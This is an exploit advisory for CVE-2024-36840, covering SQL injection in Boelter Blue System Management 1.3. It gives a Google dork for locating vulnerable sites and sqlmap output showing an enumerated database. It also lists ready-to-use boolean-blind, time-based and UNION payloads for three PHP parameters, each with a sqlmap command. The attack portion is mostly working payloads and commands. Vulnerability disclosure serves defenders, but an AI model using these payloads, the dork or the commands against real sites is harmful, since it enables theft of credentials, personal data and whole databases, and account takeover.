Boelter Blue System Management 1.3 SQL Injection

`Exploit Title: SQL Injection Vulnerability in Boelter Blue System Management (version 1.3)  
Google Dork: inurl:"Powered by Boelter Blue"  
Date: 2024-06-04  
Exploit Author: CBKB (DeadlyData, R4d1x)  
Vendor Homepage: https://www.boelterblue.com  
Software Link: https://play.google.com/store/apps/details?id=com.anchor5digital.anchor5adminapp&hl=en_US  
Version: 1.3  
Tested on: Linux Debian 9 (stretch), Apache 2.4.25, MySQL >= 5.0.12  
CVE: CVE-2024-36840  
  
Vulnerability Details:  
Multiple SQL Injection vulnerabilities were discovered in Boelter Blue System Management (version 1.3). These vulnerabilities allow attackers to execute arbitrary SQL commands through the affected parameters. Successful exploitation can lead to unauthorized access, data leakage, and account takeovers.  
  
PoC:  
web server operating system: Linux Debian 9 (stretch)  
web application technology: Apache 2.4.25  
back-end DBMS: MySQL >= 5.0.12  
[22:21:39] [INFO] fetching database names  
available databases [5]:  
[*] Anchor5Digital  
  
1. news_details.php?id parameter:  
  
Type: Boolean-based blind  
Payload: id=10071 AND 4036=4036  
  
Type: Time-based blind  
Payload: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)  
  
Type: UNION query  
Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--  
  
Example SQLMap Command: sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs  
  
2. services.php?section parameter:  
  
Type: Boolean-based blind  
Payload: section=(SELECT (CASE WHEN (1087=1087) THEN 5081 ELSE (SELECT 8711 UNION SELECT 5881) END))  
  
Type: Time-based blind  
Payload: section=5081 AND (SELECT 2101 FROM (SELECT(SLEEP(5)))nmcL)  
  
Example SQLMap Command: sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs  
  
3. location_details.php?id parameter:  
  
Type: Boolean-based blind  
Payload: id=836 AND 4036=4036  
  
Type: Time-based blind  
Payload: id=836 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)  
  
Type: UNION query  
Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--  
  
Example SQLMap Command: sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs  
  
Impact:  
Unauthorized access to the database.  
Extraction of sensitive information such as admin credentials, user email/passhash, device hashes, user PII, purchase history, and database credentials.  
Account takeovers and potential full control of the affected application.  
  
Discoverer(s)/Credits:  
CBKB (DeadlyData, R4d1x)  
  
References:  
https://infosec-db.github.io/CyberDepot/vuln_boelter_blue/https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36840  
`